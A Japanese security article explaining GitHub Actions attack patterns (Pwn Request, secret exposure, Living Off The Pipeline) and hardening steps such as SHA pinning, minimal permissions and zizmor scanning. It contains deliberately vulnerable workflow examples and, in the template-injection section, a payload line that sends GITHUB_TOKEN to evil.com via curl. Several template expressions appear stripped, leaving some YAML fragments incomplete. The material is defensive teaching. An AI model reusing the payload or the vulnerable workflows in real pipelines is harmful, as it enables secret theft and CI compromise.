GitHub Actionsのセキュリティ脆弱性が深刻化——なぜ今、対策が急務なのか
GitHub Actionsのセキュリティ脆弱性が、2025年から2026年にかけて深刻な実害を生んでいる。CI/CDパイプラインは現代のソフトウェア開発の心臓部であり、ここが侵害されれば影響はコードベース全体に波及する。
2025年3月、GitHub公式マーケットプレイスで1万5,000以上のリポジトリが利用していたtj-actions/changed-filesがサプライチェーン攻撃を受けた。攻撃者はメンテナのGitHub Personal Access Token(PAT)を奪取し、アクションのコードを改ざん。CI/CDログにリポジトリのシークレットを平文で出力するコードを注入した。
被害は「人気OSSだから安全」という思い込みを完全に破壊した。攻撃はタグの書き換えによって実行されたため、uses: tj-actions/changed-files@v39のようにタグで参照していた全リポジトリが自動的に侵害コードを実行した。
2026年3月には、さらに深刻な事態が発生した。Axiosサプライチェーン攻撃では、週間1億ダウンロードのHTTPクライアントライブラリに悪意あるコードが混入。この攻撃はGitHub Actionsのワークフロー内で実行され、OpenAIのmacOSアプリのビルドパイプラインにまで波及した。同時期にTeamPCPのGitHub Actionsも攻撃を受け、CI/CDパイプラインが最大の攻撃面(Attack Surface)であることが改めて証明された。
クラウドセキュリティ企業Wiz社は、過去4年間にわたりGitHub Actionsのセキュリティリスクを研究し、2026年4月に総括レポートを公開した。本記事では、このレポートと公式ドキュメントを基に、GitHub Actionsの攻撃パターンと防御策を体系的に解説する。
GitHub Actionsの3大攻撃パターン(Pwn Request・シークレット露出・Living Off The Pipeline)の仕組みと実例
危険なYAML設定 vs 安全なYAML設定の具体的な対比
SHAピニング・zizmor・GitHub新機能を使った防御策と実践チェックリスト
セキュリティリスク"] --> B["攻撃パターン"] A --> C["防御策"] B --> D["Pwn Request
(PPE)"] B --> E["シークレット露出"] B --> F["Living Off
The Pipeline"] C --> G["SHAピニング"] C --> H["権限最小化"] C --> I["zizmorスキャン"] C --> J["GitHub新機能
lockfile等"] D --> K["2025 tj-actions
2026 TeamPCP"] E --> L["CIログ経由
の漏洩"] F --> M["2026 Axios
サプライチェーン攻撃"] style A fill:#ff6b6b,color:#fff style D fill:#ffa07a style E fill:#ffa07a style F fill:#ffa07a style G fill:#90ee90 style H fill:#90ee90 style I fill:#90ee90 style J fill:#90ee90
3大攻撃パターン——Pwn Request・シークレット露出・Living Off The Pipeline
GitHub Actionsに対する攻撃は、大きく3つのパターンに分類できる。Wiz社の研究では、これらをPwn Request(Poisoned Pipeline Execution)、シークレット露出、Living Off The Pipelineと名付けている。それぞれの仕組みと、危険なコード vs 安全なコードの対比を見ていこう。
パターン1: Pwn Request(PPE — Poisoned Pipeline Execution)
Pwn Requestは、Pull Requestを通じてCI/CDパイプラインに悪意あるコードを注入する攻撃だ。攻撃者はフォークリポジトリからPRを送り、ワークフローの設定ミスを悪用してリポジトリのシークレットにアクセスする。
核心はpull_requestとpull_request_targetの違いにある。
| トリガー | 実行コンテキスト | シークレットアクセス | 危険度 |
|---|---|---|---|
pull_request |
PRのヘッドブランチ(フォーク) | なし(フォークからの場合) | 低 |
pull_request_target |
ベースブランチ(ターゲット) | あり | 高 |
issue_comment |
デフォルトブランチ | あり | 中〜高 |
workflow_run |
デフォルトブランチ | あり | 中〜高 |
pull_request_targetは「ベースリポジトリのコンテキストで実行される」ため、シークレットにアクセスできる。ここで攻撃者のPRコードをチェックアウトしてしまうと、攻撃者のコードがシークレット付きで実行される。
以下が危険なワークフローの典型例だ。
# ❌ 危険: pull_request_target でPRコードをチェックアウトしている
name: Dangerous PR Handler
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: $ # ← PRのコードをチェックアウト
- run: npm install # ← 攻撃者のpackage.jsonのpostinstallが実行される
- run: npm test
env:
API_KEY: $ # ← シークレットが攻撃者のコードに露出
このワークフローでは、pull_request_targetトリガーによりシークレットが利用可能な状態で、ref: $によって攻撃者のPRコードをチェックアウトしている。攻撃者はpackage.jsonのpostinstallスクリプトにシークレットを外部に送信するコードを仕込むだけでよい。
以下が安全なワークフローだ。
# ✅ 安全: pull_request トリガーを使い、権限を最小化
name: Safe PR Handler
on:
pull_request:
types: [opened, synchronize]
permissions:
contents: read # 読み取り専用
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4 SHA固定
- run: npm ci --ignore-scripts # postinstallスクリプトを無効化
- run: npm test
# シークレットは渡さない — テストに本番キーは不要
修正ポイントは3つある。(1) pull_request_targetではなくpull_requestを使う、(2) permissions: contents: readで権限を最小化する、(3) npm ci --ignore-scriptsでpostinstallスクリプトの実行を防ぐ。
パターン2: シークレット露出
GitHub Actionsのシークレットは、意図せずCIログに出力されることがある。GitHubは自動的にシークレット値をマスクするが、Base64エンコードや文字列操作を経由するとマスクが効かなくなる。
# ❌ 危険: シークレットがBase64経由でマスクを回避
- run: |
echo "$" | base64
# 出力: QUl...(Base64エンコードされた値はマスクされない)
# ❌ 危険: シークレットを環境変数経由でログに出力
- run: |
curl -H "Authorization: Bearer $API_KEY" https://api.example.com/status
# -v オプションをつけるとヘッダがログに出る
env:
API_KEY: $
# ✅ 安全: シークレットをファイルに書き出し、ログに出力しない
- run: |
echo "$" > /tmp/api_key
curl -H "Authorization: Bearer $(cat /tmp/api_key)" \
--silent --show-error \
https://api.example.com/status
rm -f /tmp/api_key
# --silentでHTTP詳細出力を抑制
tj-actionsインシデントでは、まさにこのパターンが悪用された。改ざんされたアクションが$GITHUB_OUTPUTや$GITHUB_ENVに書き込まれたシークレットをBase64エンコードしてログに出力し、GitHub Actionsのログが公開リポジトリで誰でも閲覧可能であることを利用してシークレットを窃取した。
パターン3: Living Off The Pipeline
「Living Off The Pipeline」は、Wiz社が命名した新しい攻撃カテゴリだ。セキュリティツールの世界で知られる「Living Off The Land(環境に元からあるツールを悪用する)」のCI/CD版で、パイプラインに標準で存在するツールや権限を悪用する手法を指す。
具体的には以下のような手法がある。
GITHUB_TOKENの悪用: デフォルトで付与されるトークンの権限が過剰な場合、PRの承認、コードのプッシュ、リリースの作成が可能- Artifact poisoning(アーティファクト毒入れ):
actions/upload-artifactでアップロードされたファイルを次のジョブがそのまま信頼して使う場合、攻撃者がアーティファクトを差し替えて任意コードを実行できる - Self-hosted runner abuse(自ホストランナーの悪用): パブリックリポジトリで自ホストランナーを使うと、フォークからのPRで攻撃者がランナーのホストOSにアクセスできる
2026年のAxiosサプライチェーン攻撃では、NPMパッケージに混入したマルウェアがGitHub Actionsのワークフロー内で実行され、ビルドパイプラインのGITHUB_TOKENやNPM_TOKENを窃取してさらなる攻撃に利用した。これはLiving Off The Pipelineの典型例だ。
Pwn Request: pull_request_targetの設定ミスでPRコードにシークレットを渡してしまう
シークレット露出: Base64変換やログ出力でマスクを回避し、公開ログからシークレットを窃取
Living Off The Pipeline: GITHUB_TOKEN・アーティファクト・自ホストランナーなど、パイプラインの正規機能を悪用
組織レベルの防御設定——権限デフォルト・アクション許可リスト・ランナー制限
個々のワークフローの修正だけでは不十分だ。組織(Organization)レベルでポリシーを設定し、セキュリティのベースラインを底上げする必要がある。
GITHUB_TOKENのデフォルト権限を制限する
GitHub ActionsのGITHUB_TOKENは、デフォルトでread-write権限を持つ。これは必要以上に広い。組織設定でread-onlyをデフォルトにすべきだ。
設定手順は以下のとおりだ。
- Organization Settings → Actions → General を開く
- 「Workflow permissions」セクションを見つける
- 「Read repository contents and packages permissions」を選択する
- 「Allow GitHub Actions to create and approve pull requests」のチェックを外す
# ✅ ワークフローレベルでも明示的に権限を宣言する
permissions:
contents: read
pull-requests: write # PRコメントが必要な場合のみ
jobs:
lint:
runs-on: ubuntu-latest
permissions:
contents: read # ジョブレベルでさらに制限可能
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm run lint
permissionsを明示宣言していないワークフローは、組織のデフォルト権限で動作する。デフォルトがread-writeのままだと、すべてのワークフローが不要なwrite権限を持つことになる。
サードパーティアクションの許可リストを設定する
Organization Settings → Actions → General で、実行を許可するアクションを制限できる。
| 設定 | 説明 | 推奨 |
|---|---|---|
| Allow all actions | すべてのアクションを許可 | 非推奨 |
| Allow local actions only | リポジトリ内のアクションのみ | セキュリティ最優先の場合 |
| Allow select actions | 許可リストに登録したアクションのみ | 推奨 |
「Allow select actions」を選択し、actions/*(GitHub公式)と組織内アクションのみを許可する設定が、セキュリティと利便性のバランスが最も良い。新しいサードパーティアクションを追加する場合は、セキュリティレビューを経てから許可リストに追加するフローを作る。
自ホストランナーの制限
自ホストランナーは強力だが、パブリックリポジトリでの利用は危険だ。フォークからのPRがランナーのホストOS上で実行されるため、攻撃者がネットワーク内部にアクセスできてしまう。
対策は明確だ。
- パブリックリポジトリでは自ホストランナーを使わない。GitHub-hostedランナーを使う
- プライベートリポジトリで使う場合も、ランナーをエフェメラル(使い捨て)に設定する
- ランナーグループを作成し、特定のリポジトリのみに割り当てる
- ランナーのネットワークアクセスを最小限に制限する(egress filtering)
GITHUB_TOKEN: デフォルトをread-onlyに変更。ワークフローで必要な権限のみ明示宣言
アクション許可: Allow select actionsで許可リスト制。GitHub公式 + 組織内のみ許可
自ホストランナー: パブリックリポジトリでは使わない。プライベートでもエフェメラル設定必須
サプライチェーン防御——SHAピニング・クールダウン期間・zizmor
サードパーティアクションの利用は、本質的にサプライチェーンリスクを伴う。タグは書き換え可能であり、メンテナのアカウントが侵害されれば、利用者全員が影響を受ける。ここでは、サプライチェーン攻撃に対する具体的な防御策を解説する。
SHAピニング——タグを信じるな
タグ(@v4)はポインタであり、いつでも別のコミットに向け直せる。tj-actionsインシデントでは、攻撃者がタグを悪意あるコミットに向け直すことで、タグ参照している全リポジトリを一斉に侵害した。
SHAピニングは、特定のコミットハッシュを直接参照することで、この問題を解決する。
# ❌ 危険: タグ参照(書き換え可能)
- uses: actions/checkout@v4
- uses: tj-actions/changed-files@v39
# ✅ 安全: SHAピニング(不変)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.7
- uses: tj-actions/changed-files@2d756ea4c53f7f6b397767d8723b3a10a9f35bf2 # v39.0.3
# コメントでバージョンを併記すると保守性が上がる
SHAは40文字の16進数文字列で、コミット内容から暗号学的に導出される。コミットの内容を変えずにSHAを維持することは、SHA-1の衝突攻撃を除けば実質不可能であり、タグの書き換えによる攻撃を完全に防止できる。
Dependabotを設定すれば、SHAピニングされたアクションの新バージョンを自動でPR提案してくれる。
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# SHAピニングされたアクションのバージョン更新PRを自動作成
クールダウン期間——新バージョンをすぐに使わない
新しくリリースされたアクションのバージョンには「クールダウン期間」を設けるべきだ。リリース直後は侵害が発覚していない可能性があるためだ。
Wiz社の推奨は以下のとおりだ。
- 新バージョンのリリースから72時間以上は待つ
- その間にコミュニティやセキュリティリサーチャーが問題を発見する時間を確保
- Dependabotの自動PRも、即マージせず数日放置するルールを作る
- アクションのリポジトリの変更履歴(Changelog)とコミット差分を確認してからマージする
zizmor——ワークフローの静的解析ツール
zizmorは、GitHub Actionsのワークフローファイルを静的解析するオープンソースツールだ。Rust製で高速に動作し、セキュリティ上の問題を自動検出する。
# インストール
pip install zizmor
# または
cargo install zizmor
# リポジトリ全体をスキャン
zizmor .github/workflows/
# 特定のワークフローをスキャン
zizmor .github/workflows/ci.yml
# JSON出力(CI/CDパイプラインとの統合用)
zizmor --format json .github/workflows/
zizmorが検出する主な問題は以下のとおりだ。
| ルール名 | 検出内容 | 重要度 |
|---|---|---|
unpinned-uses |
SHAピニングされていないアクション | 高 |
dangerous-triggers |
pull_request_target等の危険なトリガー |
高 |
excessive-permissions |
不必要に広い権限設定 | 中 |
template-injection |
$式のインジェクション脆弱性 |
高 |
artipacked |
アーティファクトの安全でない使用 | 中 |
ref-confusion |
refの曖昧な参照 | 中 |
known-vulnerable-actions |
既知の脆弱なアクションの使用 | 高 |
cache-poisoning |
キャッシュ汚染の可能性 | 中 |
# zizmorの出力例
$ zizmor .github/workflows/ci.yml
warning[unpinned-uses]: action reference is not pinned to a SHA
--> .github/workflows/ci.yml:15:9
|
15 | - uses: actions/checkout@v4
| ^^^^^^^^^^^^^^^^^^^^^^^^^ this action reference should be pinned
error[dangerous-triggers]: workflow uses dangerous trigger
--> .github/workflows/ci.yml:3:5
|
3 | pull_request_target:
| ^^^^^^^^^^^^^^^^^^^^ pull_request_target can expose secrets to PRs
2 findings (1 error, 1 warning)
zizmorをCI/CDパイプラインに組み込めば、危険なワークフロー変更がマージされる前に検出できる。
# .github/workflows/security-check.yml
name: Workflow Security Check
on:
pull_request:
paths:
- '.github/workflows/**'
permissions:
contents: read
jobs:
zizmor:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- run: pip install zizmor
- run: zizmor .github/workflows/
SHAピニング: タグは書き換え可能。SHAで固定すれば改ざんを防止できる
クールダウン期間: 新バージョンは72時間待ってからマージ。即採用は攻撃者の思うツボ
zizmor: ワークフローを静的解析し、危険なトリガー・未ピニング・過剰権限を自動検出
GitHub新機能と今後——SHAピニング強制・イミュータブルリリース・Workflow Lockfile
GitHubは、過去のインシデントを受けてGitHub Actionsのセキュリティ機能を強化している。2025年後半から2026年にかけて発表・導入された主要な新機能を解説する。
SHAピニング強制(Required SHA Pinning)
Organization Settingsに「Require SHA pinning for all third-party actions」オプションが追加された。これを有効にすると、タグ参照のサードパーティアクションを含むワークフローの実行が拒否される。
これまでSHAピニングはベストプラクティスに過ぎなかったが、この機能により組織全体で強制できるようになった。新規プロジェクトではこの設定を最初から有効にすることを推奨する。
イミュータブルアクション(Immutable Actions / Immutable Releases)
GitHubは、アクションのリリースを不変(イミュータブル)にする仕組みを導入している。従来はタグの上書きが自由だったが、イミュータブルリリースではリリースされたアクションのコードを後から変更できない。
これにより、タグの書き換えによるtj-actionsスタイルの攻撃が根本的に不可能になる。アクション作者がイミュータブルリリースを採用することで、利用者側はSHAピニングなしでもタグ参照の安全性が向上する。
ただし、現時点ではイミュータブルリリースはオプトイン方式であり、すべてのアクションが対応しているわけではない。信頼できないアクションについては引き続きSHAピニングを併用すべきだ。
Workflow Lockfile(ワークフローロックファイル)
npm の package-lock.json やPythonの requirements.txt のように、ワークフローの依存関係を固定するlockfileの導入がGitHubで進められている。
lockfileは、ワークフローが参照するすべてのアクションのSHAと検証済みハッシュを記録する。ワークフロー実行時にlockfileと実際のアクションの内容を照合し、不一致があれば実行を停止する。
| 機能 | 状況 | 効果 |
|---|---|---|
| SHAピニング強制 | GA(一般提供) | タグ参照を組織レベルで禁止 |
| イミュータブルリリース | パブリックベータ | タグの書き換えを防止 |
| Workflow Lockfile | 開発中(プレビュー) | 依存関係の整合性を自動検証 |
| Private Registries for Actions | 検討中 | 社内アクションの安全な配布 |
これらの新機能が完全に普及するまでには時間がかかる。それまでの間は、SHAピニング + zizmor + 権限最小化の3点セットで防御を固めることが現実的な最善策だ。
SHAピニング強制: 組織レベルでタグ参照を禁止可能(GA)
イミュータブルリリース: タグの書き換えを防止する仕組み(パブリックベータ)
Workflow Lockfile: 依存関係の整合性を自動検証(開発中)
実践チェックリスト——今日からできるGitHub Actionsセキュリティ対策
ここまでの内容を踏まえ、すぐに実行可能な対策をチェックリスト形式でまとめる。優先度順に実施することを推奨する。
優先度1: 即時対応(所要時間: 1-2時間)
- 全ワークフローの
permissionsを明示宣言する。未宣言のワークフローがないか確認し、必要最小限の権限のみ付与する - サードパーティアクションをSHAピニングに移行する。Dependabotで自動更新を設定し、コメントにバージョン番号を併記する
pull_request_targetトリガーを検索する。使用している場合、PRコードのチェックアウトと組み合わせていないか確認する- zizmorをインストールして全ワークフローをスキャンする。
pip install zizmor && zizmor .github/workflows/の1行で実行できる
# 全ワークフローのpull_request_targetを検索
grep -r "pull_request_target" .github/workflows/
# permissionsが未宣言のワークフローを検索
for f in .github/workflows/*.yml; do
grep -q "permissions:" "$f" || echo "⚠️ permissions未宣言: $f"
done
# SHAピニングされていないusesを検索
grep -rn "uses:.*@v" .github/workflows/
優先度2: 組織設定の見直し(所要時間: 30分)
- GITHUB_TOKENのデフォルト権限をread-onlyに変更する。Organization Settings → Actions → Generalで設定
- サードパーティアクションの許可リストを設定する。Allow select actionsで
actions/*と組織内アクションのみ許可 - パブリックリポジトリで自ホストランナーを使っていないか確認する。使っている場合はGitHub-hostedランナーに移行
優先度3: 継続的なセキュリティ運用(週次/月次)
- zizmorをCIパイプラインに組み込む。
.github/workflows/**の変更をトリガーに自動スキャン - Dependabotのアクション更新PRを定期的にレビューする。クールダウン期間(72時間以上)を設けてからマージ
- 新しいサードパーティアクションの導入時にセキュリティレビューを実施する。リポジトリのスター数・メンテナの信頼性・コード量を確認
- GitHub Actionsのログを定期監視する。異常なネットワーク通信やシークレットアクセスのパターンを検出
テンプレート式インジェクション対策
見落としがちだが極めて危険な攻撃として、$テンプレート式のインジェクションがある。PR titleやcommit messageにGitHub Actionsのテンプレート式を含めることで、ワークフロー内でコマンドインジェクションが成立する。
# ❌ 危険: PRタイトルが直接シェルコマンドに展開される
- run: echo "PR title: $"
# 攻撃者がPRタイトルに "; curl http://evil.com/steal?token=$GITHUB_TOKEN" を含めると
# シェルインジェクションが成立する
# ✅ 安全: 環境変数経由で渡す
- run: echo "PR title: $PR_TITLE"
env:
PR_TITLE: $
# 環境変数経由なら、PRタイトルに特殊文字が含まれてもシェルインジェクションは成立しない
$式をシェルコマンドのrun:内で直接使うのは、原則としてすべて危険だと考えるべきだ。ユーザー入力(PRタイトル、コミットメッセージ、Issue本文など)が含まれる可能性のある値は、必ず環境変数経由で渡す。
Before / After 比較表
ここまでの対策を適用したBefore/Afterを比較する。
| 観点 | Before(危険) | After(安全) |
|---|---|---|
| アクション参照 | uses: actions/checkout@v4 |
uses: actions/checkout@b4ffde65... (SHA) |
| 権限設定 | permissions 未宣言(デフォルトread-write) |
permissions: contents: read 明示宣言 |
| PRトリガー | pull_request_target + PR HEADチェックアウト |
pull_request + ベースブランチのコードのみ |
| シークレット | run:内で$を直接展開 |
env:経由で環境変数として渡す |
| テンプレート式 | run: echo "$"で直接展開 |
env: VAR: $で間接参照 |
| アクション許可 | Allow all actions | Allow select actionsで許可リスト制 |
| GITHUB_TOKEN | デフォルトread-write | デフォルトread-only |
| 静的解析 | なし | zizmorでPR時に自動スキャン |
| 更新管理 | 手動更新 or 即時マージ | Dependabot + 72時間クールダウン |
Claude Codeのベストプラクティス完全ガイドで紹介したGitフック活用と組み合わせれば、ローカル開発からCI/CDまで一貫したセキュリティ体制を構築できる。
即時対応: permissions宣言・SHAピニング・pull_request_target確認・zizmorスキャンの4点
組織設定: GITHUB_TOKENデフォルトread-only・アクション許可リスト・自ホストランナー制限
継続運用: CIにzizmor組込・Dependabot + クールダウン・テンプレート式インジェクション防止
まとめ——CI/CDパイプラインは「信頼の境界」
GitHub Actionsは現代のソフトウェア開発に不可欠なインフラであり、だからこそ攻撃者にとって最も価値の高いターゲットだ。2025年のtj-actionsインシデント、2026年のAxios・TeamPCPサプライチェーン攻撃は、「人気アクションだから安全」「公式マーケットプレイスだから信頼できる」という前提が成り立たないことを証明した。
Wiz社の4年間の研究が示す結論は明確だ。CI/CDパイプラインを「信頼の境界(Trust Boundary)」として扱い、ゼロトラストの原則で設計する必要がある。
本記事で解説した対策のうち、SHAピニング・権限最小化・zizmorスキャンの3点セットは、追加コストゼロで今日から実行できる。GitHubのSHAピニング強制やイミュータブルリリースが完全に普及するまでの間、これらの対策が組織のCI/CDパイプラインを守る最前線となる。
セキュリティは「完璧」を目指すものではなく、攻撃のコストを上げ続けるゲームだ。まずはzizmorで自組織のワークフローをスキャンし、検出された問題から1つずつ潰していくことをお勧めする。
参照ソース
- GitHub Actions Security Guide - Wiz Blog — Wiz社による過去4年間のGitHub Actionsセキュリティ研究の総括レポート
- Security hardening for GitHub Actions - GitHub Docs — GitHub公式のセキュリティハードニングガイド
- Using secrets in GitHub Actions - GitHub Docs — GitHub公式のシークレット管理ドキュメント
- zizmor - GitHub Actions Static Analysis — GitHub Actionsワークフローの静的解析ツール
- tj-actions/changed-files Security Incident — tj-actionsインシデントの公式Issue